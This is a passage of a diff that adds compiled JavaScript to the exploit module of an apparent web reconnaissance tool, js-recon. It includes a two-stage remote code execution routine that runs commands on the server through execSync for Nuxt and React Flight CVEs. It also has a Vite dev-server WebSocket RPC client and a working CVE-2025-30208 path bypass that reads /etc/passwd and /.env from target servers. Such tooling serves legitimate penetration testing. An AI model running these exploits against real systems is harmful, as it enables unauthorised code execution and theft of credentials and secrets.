+ const response = yield fetch(url, Object.assign(Object.assign({}, dispatcherOpts), { method: (_a = opts.method) !== null && _a !== void 0 ? _a : "GET", headers: opts.headers, body: opts.body, redirect: "manual", signal: AbortSignal.any(signals) }));
31
+ const bodyBuffer = Buffer.from(yield response.arrayBuffer());
32
+ const headers = {};
33
+ response.headers.forEach((value, name) => {
34
+ headers[name.toLowerCase()] = value;
35
+ });
36
+ return {
37
+ status: response.status,
38
+ headers,
39
+ body: bodyBuffer.toString("utf8"),
40
+ bodyBuffer,
41
+ };
42
+ }
43
+ finally {
44
+ clearTimeout(timeoutId);
45
+ }
46
+ }));
47
+ }
48
+ catch (err) {
49
+ progressError(`[!] Raw exploit request failed for ${url}: ${err}`);
50
+ return null;
51
+ }
52
+ });
53
+ export default rawRequest;
54
+ //# sourceMappingURL=rawRequest.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"rawRequest.js","sourceRoot":"","sources":["../../../src/exploit/utility/rawRequest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,yBAAyB,EAAgC,MAAM,0BAA0B,CAAC;AACnG,OAAO,EAAE,aAAa,EAAE,MAAM,8BAA8B,CAAC;AAiB7D;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,UAAU,GAAG,CAAO,GAAW,EAAE,IAAuB,EAA+B,EAAE;IAClG,IAAI,CAAC;QACD,OAAO,MAAM,yBAAyB,CAAC,CAAO,cAAuC,EAAE,EAAE;;YACrF,MAAM,iBAAiB,GAAG,IAAI,eAAe,EAAE,CAAC;YAChD,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,EAAE,CAAC,iBAAiB,CAAC,KAAK,EAAE,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;YAC5E,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,iBAAiB,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC,iBAAiB,CAAC,MAAM,CAAC,CAAC;YAEnG,IAAI,CAAC;gBACD,MAAM,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE,gCAC3B,cAAc,KACjB,MAAM,EAAE,MAAA,IAAI,CAAC,MAAM,mCAAI,KAAK,EAC5B,OAAO,EAAE,IAAI,CAAC,OAAO,EACrB,IAAI,EAAE,IAAI,CAAC,IAAI,EACf,QAAQ,EAAE,QAAQ,EAClB,MAAM,EAAE,WAAW,CAAC,GAAG,CAAC,OAAO,CAAC,GACpB,CAAC,CAAC;gBAElB,MAAM,UAAU,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,QAAQ,CAAC,WAAW,EAAE,CAAC,CAAC;gBAC7D,MAAM,OAAO,GAA2B,EAAE,CAAC;gBAC3C,QAAQ,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC,KAAK,EAAE,IAAI,EAAE,EAAE;oBACrC,OAAO,CAAC,IAAI,CAAC,WAAW,EAAE,CAAC,GAAG,KAAK,CAAC;gBACxC,CAAC,CAAC,CAAC;gBAEH,OAAO;oBACH,MAAM,EAAE,QAAQ,CAAC,MAAM;oBACvB,OAAO;oBACP,IAAI,EAAE,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;oBACjC,UAAU;iBACb,CAAC;YACN,CAAC;oBAAS,CAAC;gBACP,YAAY,CAAC,SAAS,CAAC,CAAC;YAC5B,CAAC;QACL,CAAC,CAAA,CAAC,CAAC;IACP,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,aAAa,CAAC,sCAAsC,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QACnE,OAAO,IAAI,CAAC;IAChB,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,UAAU,CAAC"}
@@ -0,0 +1,49 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
11
+ /**
12
+ * Escapes a string for safe interpolation inside a single-quoted JS string literal embedded in a
13
+ * generated payload (e.g. `'<cmd>'` inside `cp.execSync('<cmd>')`). Backslashes MUST be escaped
14
+ * first — escaping the quote before the backslash would double-escape any backslash a prior quote
15
+ * substitution just inserted, and a command containing a literal backslash without this ordering
16
+ * could otherwise break out of the string literal.
17
+ */
18
+ export const escapeSingleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
19
+ /** Same as `escapeSingleQuotedLiteral`, for a double-quoted JS string literal. */
20
+ export const escapeDoubleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
21
+ /**
22
+ * Shared two-stage RCE-proof choreography for CVE-2026-71320 (Nuxt Server Island) and
23
+ * CVE-2025-55182 (React Flight RCE). Both use the same pattern: a stage-1 request triggers
24
+ * `import('node:child_process').then(cp => cp.execSync(cmd))` server-side and stashes the result
25
+ * (e.g. on `globalThis.__pocOut`), and stage 2 is an identically-shaped request that reads it back.
26
+ * Stage 1's dynamic `import()` resolves asynchronously — its promise may not have settled by the
27
+ * time stage 1's HTTP response is sent, so stage 2 is retried with a short delay until it returns
28
+ * a non-null result or the retry budget is exhausted.
29
+ *
30
+ * Only the two-stage request/retry orchestration is shared; payload construction (template
31
+ * injection string, gadget chain, hash computation) stays CVE-specific in each handler.
32
+ */
33
+ export const runSandboxRceProof = (handlers_1, cmd_1, ...args_1) => __awaiter(void 0, [handlers_1, cmd_1, ...args_1], void 0, function* (handlers, cmd, options = {}) {
34
+ var _a, _b;
35
+ const retries = (_a = options.retries) !== null && _a !== void 0 ? _a : 3;
36
+ const delayMs = (_b = options.delayMs) !== null && _b !== void 0 ? _b : 1500;
37
+ yield handlers.sendStage1(cmd);
38
+ for (let attempt = 0; attempt < retries; attempt++) {
39
+ if (attempt > 0)
40
+ yield sleep(delayMs);
41
+ const output = yield handlers.sendStage2();
42
+ if (output !== null && output.length > 0) {
43
+ return { output, succeeded: true };
44
+ }
45
+ }
46
+ return { output: null, succeeded: false };
47
+ });
48
+ export default runSandboxRceProof;
49
+ //# sourceMappingURL=sandboxRce.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sandboxRce.js","sourceRoot":"","sources":["../../../src/exploit/utility/sandboxRce.ts"],"names":[],"mappings":";;;;;;;;;AAiBA,MAAM,KAAK,GAAG,CAAC,EAAU,EAAiB,EAAE,CAAC,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC,CAAC;AAE/F;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH,kFAAkF;AAClF,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,+BAIL,EAAE,sEAH3B,QAA4B,EAC5B,GAAW,EACX,UAA6B,EAAE;;IAE/B,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,IAAI,CAAC;IAExC,MAAM,QAAQ,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;IAE/B,KAAK,IAAI,OAAO,GAAG,CAAC,EAAE,OAAO,GAAG,OAAO,EAAE,OAAO,EAAE,EAAE,CAAC;QACjD,IAAI,OAAO,GAAG,CAAC;YAAE,MAAM,KAAK,CAAC,OAAO,CAAC,CAAC;QACtC,MAAM,MAAM,GAAG,MAAM,QAAQ,CAAC,UAAU,EAAE,CAAC;QAC3C,IAAI,MAAM,KAAK,IAAI,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACvC,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC;QACvC,CAAC;IACL,CAAC;IAED,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC;AAC9C,CAAC,CAAA,CAAC;AAEF,eAAe,kBAAkB,CAAC"}
@@ -0,0 +1,28 @@
1
+ const RULE_TECH_MAP = {
2
+ next: "next",
3
+ vite: "all",
4
+ nuxt: "all",
5
+ angular: "angular",
6
+ react: "react",
7
+ };
8
+ /**
9
+ * Maps an exploit outcome to the `analyze`/`report` EngineOutput shape so `report --exploit-json`
10
+ * can feed exploit findings into the existing SQLite/HTML pipeline with zero report-side schema
11
+ * changes. `Rule.severity` has no "critical" tier — RCE-class CVEs map to "high", the type's
12
+ * ceiling, rather than inventing a new severity value.
13
+ */
14
+ export const toEngineOutput = (cve, target, outcome) => ({
15
+ ruleId: cve.id,
16
+ ruleName: cve.commonName,
17
+ ruleType: "exploit",
18
+ ruleDescription: cve.description,
19
+ ruleAuthor: "js-recon",
20
+ ruleTech: [RULE_TECH_MAP[cve.framework]],
21
+ severity: "high",
22
+ message: `${outcome.evidence}${outcome.discoveredUrls.length > 0
23
+ ? ` | Discovered: ${outcome.discoveredUrls.slice(0, 5).join(", ")}${outcome.discoveredUrls.length > 5 ? ", ..." : ""}`
24
+ : ""}`,
25
+ findingLocation: target,
26
+ });
27
+ export default toEngineOutput;
28
+ //# sourceMappingURL=toEngineOutput.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"toEngineOutput.js","sourceRoot":"","sources":["../../../src/exploit/utility/toEngineOutput.ts"],"names":[],"mappings":"AAIA,MAAM,aAAa,GAAuE;IACtF,IAAI,EAAE,MAAM;IACZ,IAAI,EAAE,KAAK;IACX,IAAI,EAAE,KAAK;IACX,OAAO,EAAE,SAAS;IAClB,KAAK,EAAE,OAAO;CACjB,CAAC;AAEF;;;;;GAKG;AACH,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAgB,EAAE,MAAc,EAAE,OAAuB,EAAgB,EAAE,CAAC,CAAC;IACxG,MAAM,EAAE,GAAG,CAAC,EAAE;IACd,QAAQ,EAAE,GAAG,CAAC,UAAU;IACxB,QAAQ,EAAE,SAAS;IACnB,eAAe,EAAE,GAAG,CAAC,WAAW;IAChC,UAAU,EAAE,UAAU;IACtB,QAAQ,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;IACxC,QAAQ,EAAE,MAAM;IAChB,OAAO,EAAE,GAAG,OAAO,CAAC,QAAQ,GACxB,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC;QAC7B,CAAC,CAAC,kBAAkB,OAAO,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE;QACtH,CAAC,CAAC,EACV,EAAE;IACF,eAAe,EAAE,MAAM;CAC1B,CAAC,CAAC;AAEH,eAAe,cAAc,CAAC"}
@@ -0,0 +1,78 @@
1
+ import WebSocket from "ws";
2
+ import * as globals from "../../utility/globals.js";
3
+ /**
4
+ * Pure frame-matcher: given the id we sent and a raw WS frame payload (already JSON-parsed),
5
+ * decides whether this frame is the response to our request and extracts its result. Kept
6
+ * separate from the socket I/O in `sendRpcAndAwait` so it's unit-testable without a real socket.
7
+ */
8
+ export const matchRpcResponse = (sentId, frame) => {
9
+ if (typeof frame !== "object" || frame === null)
10
+ return { matched: false };
11
+ const anyFrame = frame;
12
+ const data = anyFrame.data;
13
+ if (!data || data.id !== sentId)
14
+ return { matched: false };
15
+ if (anyFrame.type === "error" || data.error)
16
+ return { matched: true, result: undefined };
17
+ return { matched: true, result: "result" in data ? data.result : data };
18
+ };
19
+ /**
20
+ * Connects to a Vite dev server's HMR WebSocket endpoint using the `vite-hmr` subprotocol.
21
+ *
22
+ * Note: does not currently route through js-recon's configured outbound proxy (`ws` needs a
23
+ * classic Node http(s).Agent, not undici's Dispatcher used elsewhere in this codebase) — this is a
24
+ * known, documented gap for proxied exploit runs against CVE-2026-39363, not a silent failure.
25
+ */
26
+ export const connectViteHmr = (baseUrl, timeout) => {
27
+ const wsUrl = baseUrl.replace(/^http/, "ws").replace(/\/$/, "");
28
+ const insecure = globals.getInsecure();
29
+ return new Promise((resolve, reject) => {
30
+ const ws = new WebSocket(wsUrl, "vite-hmr", {
31
+ rejectUnauthorized: !insecure,
32
+ handshakeTimeout: timeout,
33
+ });
34
+ const timer = setTimeout(() => {
35
+ ws.terminate();
36
+ reject(new Error("WebSocket connect timeout"));
37
+ }, timeout);
38
+ ws.once("open", () => {
39
+ clearTimeout(timer);
40
+ resolve(ws);
41
+ });
42
+ ws.once("error", (err) => {
43
+ clearTimeout(timer);
44
+ reject(err);
45
+ });
46
+ });
47
+ };
48
+ /** Sends a `vite:invoke` RPC frame and resolves with its matching response, or rejects on timeout. */
49
+ export const sendRpcAndAwait = (ws, message, timeoutMs) => {
50
+ return new Promise((resolve, reject) => {
51
+ const onMessage = (raw) => {
52
+ let parsed;
53
+ try {
54
+ parsed = JSON.parse(raw.toString());
55
+ }
56
+ catch (_a) {
57
+ return;
58
+ }
59
+ const { matched, result } = matchRpcResponse(message.data.id, parsed);
60
+ if (matched) {
61
+ cleanup();
62
+ resolve(result);
63
+ }
64
+ };
65
+ const timer = setTimeout(() => {
66
+ cleanup();
67
+ reject(new Error("RPC response timeout"));
68
+ }, timeoutMs);
69
+ const cleanup = () => {
70
+ clearTimeout(timer);
71
+ ws.off("message", onMessage);
72
+ };
73
+ ws.on("message", onMessage);
74
+ ws.send(JSON.stringify(message));
75
+ });
76
+ };
77
+ export default connectViteHmr;
78
+ //# sourceMappingURL=wsClient.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"wsClient.js","sourceRoot":"","sources":["../../../src/exploit/utility/wsClient.ts"],"names":[],"mappings":"AAAA,OAAO,SAAS,MAAM,IAAI,CAAC;AAC3B,OAAO,KAAK,OAAO,MAAM,0BAA0B,CAAC;AAYpD;;;;GAIG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAAC,MAAc,EAAE,KAAc,EAA0C,EAAE;IACvG,IAAI,OAAO,KAAK,KAAK,QAAQ,IAAI,KAAK,KAAK,IAAI;QAAE,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC3E,MAAM,QAAQ,GAAG,KAAgC,CAAC;IAClD,MAAM,IAAI,GAAG,QAAQ,CAAC,IAA2C,CAAC;IAClE,IAAI,CAAC,IAAI,IAAI,IAAI,CAAC,EAAE,KAAK,MAAM;QAAE,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC3D,IAAI,QAAQ,CAAC,IAAI,KAAK,OAAO,IAAI,IAAI,CAAC,KAAK;QAAE,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,CAAC;IACzF,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,EAAE,QAAQ,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;AAC5E,CAAC,CAAC;AAEF;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,OAAe,EAAE,OAAe,EAAsB,EAAE;IACnF,MAAM,KAAK,GAAG,OAAO,CAAC,OAAO,CAAC,OAAO,EAAE,IAAI,CAAC,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAChE,MAAM,QAAQ,GAAG,OAAO,CAAC,WAAW,EAAE,CAAC;IAEvC,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACnC,MAAM,EAAE,GAAG,IAAI,SAAS,CAAC,KAAK,EAAE,UAAU,EAAE;YACxC,kBAAkB,EAAE,CAAC,QAAQ;YAC7B,gBAAgB,EAAE,OAAO;SAC5B,CAAC,CAAC;QACH,MAAM,KAAK,GAAG,UAAU,CAAC,GAAG,EAAE;YAC1B,EAAE,CAAC,SAAS,EAAE,CAAC;YACf,MAAM,CAAC,IAAI,KAAK,CAAC,2BAA2B,CAAC,CAAC,CAAC;QACnD,CAAC,EAAE,OAAO,CAAC,CAAC;QAEZ,EAAE,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,EAAE;YACjB,YAAY,CAAC,KAAK,CAAC,CAAC;YACpB,OAAO,CAAC,EAAE,CAAC,CAAC;QAChB,CAAC,CAAC,CAAC;QACH,EAAE,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,GAAG,EAAE,EAAE;YACrB,YAAY,CAAC,KAAK,CAAC,CAAC;YACpB,MAAM,CAAC,GAAG,CAAC,CAAC;QAChB,CAAC,CAAC,CAAC;IACP,CAAC,CAAC,CAAC;AACP,CAAC,CAAC;AAEF,sGAAsG;AACtG,MAAM,CAAC,MAAM,eAAe,GAAG,CAAC,EAAa,EAAE,OAA0B,EAAE,SAAiB,EAAoB,EAAE;IAC9G,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACnC,MAAM,SAAS,GAAG,CAAC,GAAoC,EAAE,EAAE;YACvD,IAAI,MAAe,CAAC;YACpB,IAAI,CAAC;gBACD,MAAM,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,QAAQ,EAAE,CAAC,CAAC;YACxC,CAAC;YAAC,WAAM,CAAC;gBACL,OAAO;YACX,CAAC;YACD,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,GAAG,gBAAgB,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE,EAAE,MAAM,CAAC,CAAC;YACtE,IAAI,OAAO,EAAE,CAAC;gBACV,OAAO,EAAE,CAAC;gBACV,OAAO,CAAC,MAAM,CAAC,CAAC;YACpB,CAAC;QACL,CAAC,CAAC;QAEF,MAAM,KAAK,GAAG,UAAU,CAAC,GAAG,EAAE;YAC1B,OAAO,EAAE,CAAC;YACV,MAAM,CAAC,IAAI,KAAK,CAAC,sBAAsB,CAAC,CAAC,CAAC;QAC9C,CAAC,EAAE,SAAS,CAAC,CAAC;QAEd,MAAM,OAAO,GAAG,GAAG,EAAE;YACjB,YAAY,CAAC,KAAK,CAAC,CAAC;YACpB,EAAE,CAAC,GAAG,CAAC,SAAS,EAAE,SAAS,CAAC,CAAC;QACjC,CAAC,CAAC;QAEF,EAAE,CAAC,EAAE,CAAC,SAAS,EAAE,SAAS,CAAC,CAAC;QAC5B,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,CAAC,CAAC;IACrC,CAAC,CAAC,CAAC;AACP,CAAC,CAAC;AAEF,eAAe,cAAc,CAAC"}
@@ -0,0 +1,44 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import rawRequest from "../utility/rawRequest.js";
11
+ import diffResponses from "../utility/compareResponses.js";
12
+ /** Absolute paths to probe. Any one confirming the bypass is sufficient proof. */
13
+ const CANDIDATE_FILES = ["/etc/passwd", "/.env"];
14
+ /** Content markers that only a real file read would produce. */
15
+ const FILE_MARKERS = {
16
+ "/etc/passwd": "root:",
17
+ "/.env": "=",
18
+ };
19
+ export const buildFsPath = (absPath) => `/@fs${absPath}?import&raw`;
20
+ /** The exact CVE-2025-30208 bypass: a trailing double '?' defeats the fs.deny query-string regex. */
21
+ export const buildDoubleQuestionMarkPath = (absPath) => `/@fs${absPath}?import&raw??`;
22
+ const cve202530208 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
23
+ for (const absPath of CANDIDATE_FILES) {
24
+ const baselineUrl = new URL(buildFsPath(absPath), ctx.baseUrl).toString();
25
+ const payloadUrl = new URL(buildDoubleQuestionMarkPath(absPath), ctx.baseUrl).toString();
26
+ const baseline = yield rawRequest(baselineUrl, { timeout: ctx.timeout, signal: ctx.signal });
27
+ const payload = yield rawRequest(payloadUrl, { timeout: ctx.timeout, signal: ctx.signal });
28
+ if (!baseline || !payload)
29
+ continue;
30
+ const marker = FILE_MARKERS[absPath];
31
+ const diff = diffResponses(baseline, payload, [marker]);
32
+ if (diff.becameSuccessful) {
33
+ return {
34
+ vulnerable: true,
35
+ evidence: `fs.deny bypassed for ${absPath} via trailing double '?' (baseline status ${baseline.status} -> payload status ${payload.status}).`,
36
+ discoveredUrls: [payloadUrl],
37
+ rawFindingExtras: { file: absPath },
38
+ };
39
+ }
40
+ }
41
+ return { vulnerable: false, evidence: "No fs.deny bypass observed for candidate files.", discoveredUrls: [] };
42
+ });
43
+ export default cve202530208;
44
+ //# sourceMappingURL=cve-2025-30208.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cve-2025-30208.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2025-30208.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,kFAAkF;AAClF,MAAM,eAAe,GAAG,CAAC,aAAa,EAAE,OAAO,CAAU,CAAC;AAE1D,gEAAgE;AAChE,MAAM,YAAY,GAA2B;IACzC,aAAa,EAAE,OAAO;IACtB,OAAO,EAAE,GAAG;CACf,CAAC;AAEF,MAAM,CAAC,MAAM,WAAW,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,aAAa,CAAC;AAEpF,qGAAqG;AACrG,MAAM,CAAC,MAAM,2BAA2B,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,eAAe,CAAC;AAEtG,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,WAAW,GAAG,IAAI,GAAG,CAAC,WAAW,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC1E,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,2BAA2B,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAEzF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,WAAW,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC7F,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC3F,IAAI,CAAC,QAAQ,IAAI,CAAC,OAAO;YAAE,SAAS;QAEpC,MAAM,MAAM,GAAG,YAAY,CAAC,OAAO,CAAC,CAAC;QACrC,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;QACxD,IAAI,IAAI,CAAC,gBAAgB,EAAE,CAAC;YACxB,OAAO;gBACH,UAAU,EAAE,IAAI;gBAChB,QAAQ,EAAE,wBAAwB,OAAO,6CAA6C,QAAQ,CAAC,MAAM,sBAAsB,OAAO,CAAC,MAAM,IAAI;gBAC7I,cAAc,EAAE,CAAC,UAAU,CAAC;gBAC5B,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;aACtC,CAAC;QACN,CAAC;IACL,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iDAAiD,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAClH,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}